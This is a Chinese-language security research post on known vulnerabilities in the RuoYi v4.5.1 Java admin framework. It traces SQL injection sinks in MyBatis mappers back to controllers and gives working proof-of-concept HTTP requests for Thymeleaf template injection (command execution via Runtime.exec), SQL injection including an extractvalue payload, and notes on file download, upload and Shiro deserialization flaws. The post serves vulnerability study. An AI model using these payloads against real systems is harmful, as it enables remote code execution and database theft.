Skip to main content
  1. Posts/

RuoYi Vulnerable Collection

··2504 words·
loading
·
Table of Contents
Vulnerable - This article is part of a series.
Part 1: This Article

Ref
#

RuoYi v4.5.1
RuoYi框架部分历史漏洞
RuoYi 框架漏洞总结
Shiro反序列化漏洞利用详解

Vulnerables
#

SSTI
#

Thymeleaf 模板注入
#

ruoyi-admin/src/main/java/com/ruoyi/web/controller/demo/controller/DemoFormController.java
可以看到有一个函数使用 /localrefresh::

@PostMapping("/localrefresh/task")
public String localRefreshTask(String fragment,String taskName,ModelMap mmap)
{
	JSONArray list = new JSONArray();
	JSONObject item = new JSONObject();
	item.put("name", StringUtils.defaultIfBlank(taskName, "通过电话销售过程中了解各盛市的设备仪器使用、采购情况及相关重要追踪人"));
	item.put("type", "新增");
	item.put("date", "2018.06.10");
	list.add(item);
	item = new JSONObject();
	item.put("name", "提高自己电话营销技巧,灵活专业地与客户进行电话交流");
	item.put("type", "新增");
	item.put("date", "2018.06.12");
	list.add(item);
	mmap.put("tasks",list);
    return prefix + "/localrefresh::" + fragment;
}

由此构造 POC

POST /demo/form/localrefresh/task HTTP/1.1

taskName=1&fragment=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22cmd.exe /c calc%22).getInputStream()).next()%7d__::.x

SQL Injection
#

在 RuoYi 的 Mybatis 配置中,可以看到潜在的直接注入点
对于 ${param} 均有潜在的注入可能

params[dataScope]注入
#

  • ruoyi-system/src/main/resources/mapper/system/SysUserMapper.xml
<select id="selectUserList" parameterType="SysUser" resultMap="SysUserResult">
	select u.user_id, u.dept_id, u.login_name, u.user_name, u.user_type, u.email, u.avatar, u.phonenumber, u.password, u.sex, u.salt, u.status, u.del_flag, u.login_ip, u.login_date, u.create_by, u.create_time, u.remark, d.dept_name, d.leader from sys_user u
	left join sys_dept d on u.dept_id = d.dept_id
	where u.del_flag = '0'
	<if test="loginName != null and loginName != ''">
		AND u.login_name like concat('%', #{loginName}, '%')
	</if>
	<if test="status != null and status != ''">
		AND u.status = #{status}
	</if>
	<if test="phonenumber != null and phonenumber != ''">
		AND u.phonenumber like concat('%', #{phonenumber}, '%')
	</if>
	<if test="params.beginTime != null and params.beginTime != ''"><!-- 开始时间检索 -->
		AND date_format(u.create_time,'%y%m%d') &gt;= date_format(#{params.beginTime},'%y%m%d')
	</if>
	<if test="params.endTime != null and params.endTime != ''"><!-- 结束时间检索 -->
		AND date_format(u.create_time,'%y%m%d') &lt;= date_format(#{params.endTime},'%y%m%d')
	</if>
	<if test="deptId != null and deptId != 0">
		AND (u.dept_id = #{deptId} OR u.dept_id IN ( SELECT t.dept_id FROM sys_dept t WHERE FIND_IN_SET (#{deptId},ancestors) ))
	</if>
	<!-- 数据范围过滤 -->
	${params.dataScope}
</select>

<select id="selectAllocatedList" parameterType="SysUser" resultMap="SysUserResult">
    select distinct u.user_id, u.dept_id, u.login_name, u.user_name, u.user_type, u.email, u.avatar, u.phonenumber, u.status, u.create_time
    from sys_user u
		 left join sys_dept d on u.dept_id = d.dept_id
		 left join sys_user_role ur on u.user_id = ur.user_id
		 left join sys_role r on r.role_id = ur.role_id
    where u.del_flag = '0' and r.role_id = #{roleId}
    <if test="loginName != null and loginName != ''">
		AND u.login_name like concat('%', #{loginName}, '%')
	</if>
	<if test="phonenumber != null and phonenumber != ''">
		AND u.phonenumber like concat('%', #{phonenumber}, '%')
	</if>
	<!-- 数据范围过滤 -->
	${params.dataScope}
</select>

<select id="selectUnallocatedList" parameterType="SysUser" resultMap="SysUserResult">
    select distinct u.user_id, u.dept_id, u.login_name, u.user_name, u.user_type, u.email, u.avatar, u.phonenumber, u.status, u.create_time
    from sys_user u
		 left join sys_dept d on u.dept_id = d.dept_id
		 left join sys_user_role ur on u.user_id = ur.user_id
		 left join sys_role r on r.role_id = ur.role_id
    where u.del_flag = '0' and (r.role_id != #{roleId} or r.role_id IS NULL)
    and u.user_id not in (select u.user_id from sys_user u inner join sys_user_role ur on u.user_id = ur.user_id and ur.role_id = #{roleId})
    <if test="loginName != null and loginName != ''">
		AND u.login_name like concat('%', #{loginName}, '%')
	</if>
	<if test="phonenumber != null and phonenumber != ''">
		AND u.phonenumber like concat('%', #{phonenumber}, '%')
	</if>
	<!-- 数据范围过滤 -->
	${params.dataScope}
</select>
  • ruoyi-system/src/main/resources/mapper/system/SysRoleMapper.xml
<select id="selectRoleList" parameterType="SysRole" resultMap="SysRoleResult">
	<include refid="selectRoleContactVo"/>
	where r.del_flag = '0'
	<if test="roleName != null and roleName != ''">
		AND r.role_name like concat('%', #{roleName}, '%')
	</if>
	<if test="status != null and status != ''">
		AND r.status = #{status}
	</if>
	<if test="roleKey != null and roleKey != ''">
		AND r.role_key like concat('%', #{roleKey}, '%')
	</if>
	<if test="dataScope != null and dataScope != ''">
		AND r.data_scope = #{dataScope}
	</if>
	<if test="params.beginTime != null and params.beginTime != ''"><!-- 开始时间检索 -->
		and date_format(r.create_time,'%y%m%d') &gt;= date_format(#{params.beginTime},'%y%m%d')
	</if>
	<if test="params.endTime != null and params.endTime != ''"><!-- 结束时间检索 -->
		and date_format(r.create_time,'%y%m%d') &lt;= date_format(#{params.endTime},'%y%m%d')
	</if>
	<!-- 数据范围过滤 -->
	${params.dataScope}
</select>
  • ruoyi-system/src/main/resources/mapper/system/SysDeptMapper.xml
<select id="selectDeptList" parameterType="SysDept" resultMap="SysDeptResult">
       <include refid="selectDeptVo"/>
       where d.del_flag = '0'
       <if test="parentId != null and parentId != 0">
		AND parent_id = #{parentId}
	</if>
	<if test="deptName != null and deptName != ''">
		AND dept_name like concat('%', #{deptName}, '%')
	</if>
	<if test="status != null and status != ''">
		AND status = #{status}
	</if>
	<!-- 数据范围过滤 -->
	${params.dataScope}
	order by d.parent_id, d.order_num
</select>

反向寻找 DAO 层的 Mapper 位置, 可以看到相应的 Java 接口, 然后使用 IDE 的代码分析反向寻找调用点, 回溯到 Controller 层获取具体的接口, 找到接口后检查是否有输入可以注入, 同时检查是否有验证逻辑
下面未标记 NOT_VULN 的接口皆为已验证存在注入的接口

  • com.ruoyi.system.mapper.SysUserMapper#selectUserList
    • com.ruoyi.system.service.impl.SysUserServiceImpl#selectUserList
      • com.ruoyi.web.controller.system.SysUserController#list
      • com.ruoyi.web.controller.system.SysUserController#export
  • com.ruoyi.system.mapper.SysUserMapper#selectAllocatedList
    • com.ruoyi.system.service.impl.SysUserServiceImpl#selectAllocatedList
      • com.ruoyi.web.controller.system.SysRoleController#allocatedList
  • com.ruoyi.system.mapper.SysUserMapper#selectUnallocatedList
    • com.ruoyi.system.service.impl.SysUserServiceImpl#selectUnallocatedList
      • com.ruoyi.web.controller.system.SysRoleController#unallocatedList
  • com.ruoyi.system.mapper.SysRoleMapper#selectRoleList
    • com.ruoyi.system.service.impl.SysRoleServiceImpl#selectRoleList
      • com.ruoyi.web.controller.system.SysRoleController#list
      • com.ruoyi.web.controller.system.SysRoleController#export
  • com.ruoyi.system.mapper.SysDeptMapper#selectDeptList
    • com.ruoyi.system.service.impl.SysDeptServiceImpl#selectDeptList
      • com.ruoyi.web.controller.system.SysDeptController#list
      • com.ruoyi.system.service.impl.SysDeptServiceImpl#roleDeptTreeData
        • com.ruoyi.web.controller.system.SysDeptController#deptTreeData NOT_VULN
    • com.ruoyi.system.service.impl.SysDeptServiceImpl#selectDeptTree
      • com.ruoyi.web.controller.system.SysDeptController#treeData NOT_VULN
    • com.ruoyi.system.service.impl.SysDeptServiceImpl#selectDeptTreeExcludeChild
      • com.ruoyi.web.controller.system.SysDeptController#treeDataExcludeChild NOT_VULN

对于每一个 handler 函数, 都可以看到其注解上的权限约束和绑定信息以及输入参数, 部分无参数接口无法注入

@RequiresPermissions("system:user:list")
@PostMapping("/list")
@ResponseBody
public TableDataInfo list(SysUser user)
{
    startPage();
    List<SysUser> list = userService.selectUserList(user);
    return getDataTable(list);
}

比如这个函数只需要有相应的权限, 然后访问该接口, 便会一路畅通地进入 Sink 点, 产生 SQL 注入

POST /system/user/list HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8

params%5BdataScope%5D=SQL_INJECTION

需要注意的是 RuoYi 使用 Pojo 对象自动解析的方式生成参数, 故各个接口的 payload 可能需要进行特定的构造, 也可能可以直接注入目标, 对于 /system/dept/list, 直接注入即可

{

    "msg": "运行时异常:\n### Error querying database.  Cause: java.sql.SQLSyntaxErrorException: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'SQL_INJECTION\n\t\torder by d.parent_id, d.order_num' at line 9\n### The error may exist in URL [jar:file:/home/godke/program/RuoYi-4.5.1/ruoyi-admin/target/ruoyi-admin.jar!/BOOT-INF/lib/ruoyi-system-4.5.1.jar!/mapper/system/SysDeptMapper.xml]\n### The error may involve com.ruoyi.system.mapper.SysDeptMapper.selectDeptList-Inline\n### The error occurred while setting parameters\n### SQL: select d.dept_id, d.parent_id, d.ancestors, d.dept_name, d.order_num, d.leader, d.phone, d.email, d.status, d.del_flag, d.create_by, d.create_time          from sys_dept d               where d.del_flag = '0'                        SQL_INJECTION   order by d.parent_id, d.order_num\n### Cause: java.sql.SQLSyntaxErrorException: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'SQL_INJECTION\n\t\torder by d.parent_id, d.order_num' at line 9\n; bad SQL grammar []; nested exception is java.sql.SQLSyntaxErrorException: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'SQL_INJECTION\n\t\torder by d.parent_id, d.order_num' at line 9",

    "code": 500

}

ancestors 注入
#

  • ruoyi-system/src/main/resources/mapper/system/SysDeptMapper.xml
<update id="updateDeptStatus" parameterType="SysDept">
	    update sys_dept
	    <set>
	        <if test="status != null and status != ''">status = #{status},</if>
	        <if test="updateBy != null and updateBy != ''">update_by = #{updateBy},</if>
	        update_time = sysdate()
       </set>
	    where dept_id in (${ancestors})
</update>

继续反向追踪

  • com.ruoyi.system.mapper.SysDeptMapper#updateDeptStatus
    • com.ruoyi.system.service.impl.SysDeptServiceImpl#updateParentDeptStatus
      • com.ruoyi.system.service.impl.SysDeptServiceImpl#updateDept
        • com.ruoyi.web.controller.system.SysDeptController#editSave

接口

@Log(title = "部门管理", businessType = BusinessType.UPDATE)
@RequiresPermissions("system:dept:edit")
@PostMapping("/edit")
@ResponseBody
public AjaxResult editSave(@Validated SysDept dept)
{
    if (UserConstants.DEPT_NAME_NOT_UNIQUE.equals(deptService.checkDeptNameUnique(dept)))
    {
        return error("修改部门'" + dept.getDeptName() + "'失败,部门名称已存在");
    }
    else if (dept.getParentId().equals(dept.getDeptId()))
    {
        return error("修改部门'" + dept.getDeptName() + "'失败,上级部门不能是自己");
    }
    else if (StringUtils.equals(UserConstants.DEPT_DISABLE, dept.getStatus())
            && deptService.selectNormalChildrenDeptById(dept.getDeptId()) > 0)
    {
        return AjaxResult.error("该部门包含未停用的子部门!");
    }
    dept.setUpdateBy(ShiroUtils.getLoginName());
    return toAjax(deptService.updateDept(dept));
}

这个接口有很多约束, 故需要构造更精细的注入参数

POST /system/dept/edit HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8

DeptName=xxxxxxxxxxx&DeptId=100&ParentId=555&Status=0&OrderNum=1&ancestors=SQL_INJECTION
{

    "msg": "运行时异常:\n### Error updating database.  Cause: java.sql.SQLSyntaxErrorException: Unknown column 'SQL_INJECTION' in 'where clause'\n### The error may exist in URL [jar:file:/home/godke/program/RuoYi-4.5.1/ruoyi-admin/target/ruoyi-admin.jar!/BOOT-INF/lib/ruoyi-system-4.5.1.jar!/mapper/system/SysDeptMapper.xml]\n### The error may involve com.ruoyi.system.mapper.SysDeptMapper.updateDeptStatus-Inline\n### The error occurred while setting parameters\n### SQL: update sys_dept        SET status = ?,           update_by = ?,           update_time = sysdate()        where dept_id in (SQL_INJECTION)\n### Cause: java.sql.SQLSyntaxErrorException: Unknown column 'SQL_INJECTION' in 'where clause'\n; bad SQL grammar []; nested exception is java.sql.SQLSyntaxErrorException: Unknown column 'SQL_INJECTION' in 'where clause'",

    "code": 500

}

该漏洞的注入长度受限, 长度过长时会无法通过前期校验, 一个有效的 payload 为 0)or(extractvalue(1,concat(1,(select user()))));#

Arbitrary File Download
#

后台文件下载
#

RuoYi 的文件下载接口在老版本几乎无限制 (<V4.5.1), 从 V4.5.1 开始有输入检查和限制

  • ruoyi-admin/src/main/java/com/ruoyi/web/controller/common/CommonController.java
@GetMapping("common/download")
public void fileDownload(
        String fileName, Boolean delete,
        HttpServletResponse response,
        HttpServletRequest request
)
{
    try
    {
        if (!FileUtils.checkAllowDownload(fileName))
        {
            throw new Exception(StringUtils.format("文件名称({})非法,不允许下载。 ", fileName));
        }
        String realFileName = System.currentTimeMillis() + fileName.substring(fileName.indexOf("_") + 1);
        String filePath = RuoYiConfig.getDownloadPath() + fileName;

        response.setContentType(MediaType.APPLICATION_OCTET_STREAM_VALUE);
        FileUtils.setAttachmentResponseHeader(response, realFileName);
        FileUtils.writeBytes(filePath, response.getOutputStream());
        if (delete)
        {
            FileUtils.deleteFile(filePath);
        }
    }
    catch (Exception e)
    {
        log.error("下载文件失败", e);
    }
}

public static boolean checkAllowDownload(String resource)
{
    // 禁止目录上跳级别
    if (StringUtils.contains(resource, ".."))
    {
        return false;
    }

    // 检查允许下载的文件规则
    if (ArrayUtils.contains(MimeTypeUtils.DEFAULT_ALLOWED_EXTENSION, FileTypeUtils.getFileType(resource)))
    {
        return true;
    }

    // 不在允许下载的文件规则
    return false;
}
public static String getDownloadPath()
{
    return getProfile() + "/download/";
}

在 V4.5.1 下载路径被严格限制, 因此漏洞几乎可以认为不再存在
另外在高版本该漏洞可利用定时任务修改全局配置进行一定的增强

Arbitrary File Upload
#

该漏洞危险性不高, 需要配合其他漏洞使用

  • ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysProfileController.java
@Log(title = "个人信息", businessType = BusinessType.UPDATE)
    @PostMapping("/updateAvatar")
    @ResponseBody
    public AjaxResult updateAvatar(@RequestParam("avatarfile") MultipartFile file)
    {
        SysUser currentUser = ShiroUtils.getSysUser();
        try
        {
            if (!file.isEmpty())
            {
                String avatar = FileUploadUtils.upload(RuoYiConfig.getAvatarPath(), file);
                currentUser.setAvatar(avatar);
                if (userService.updateUserInfo(currentUser) > 0)
                {
                    ShiroUtils.setSysUser(userService.selectUserById(currentUser.getUserId()));
                    return success();
                }
            }
            return error();
        }
        catch (Exception e)
        {
            log.error("修改头像失败!", e);
            return error(e.getMessage());
        }
    }

可以看出上传文件并没有过多检查, 只有宽泛的 MIME 类型检查, 但上传路径固定, 且只能上传, 利用价值较低

Shiro Deserialization
#

Apache Shiro反序列化漏洞分为两种:Shiro-550、Shiro-721

Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。

Payload产生的过程:命令 => 序列化 => AES加密 => base64编码 => RememberMe Cookie值。在整个漏洞利用过程中,比较重要的是AES加密的密钥,如果没有修改默认的密钥那么就很容易就知道密钥了,Payload构造起来也是十分的简单。

RuoYi 各版本都有默认密钥, 如果未修改则可进行利用, 利用方式见参考文章

// TODO: 列举可利用的接口并分析和创建 POC

Vulnerable - This article is part of a series.
Part 1: This Article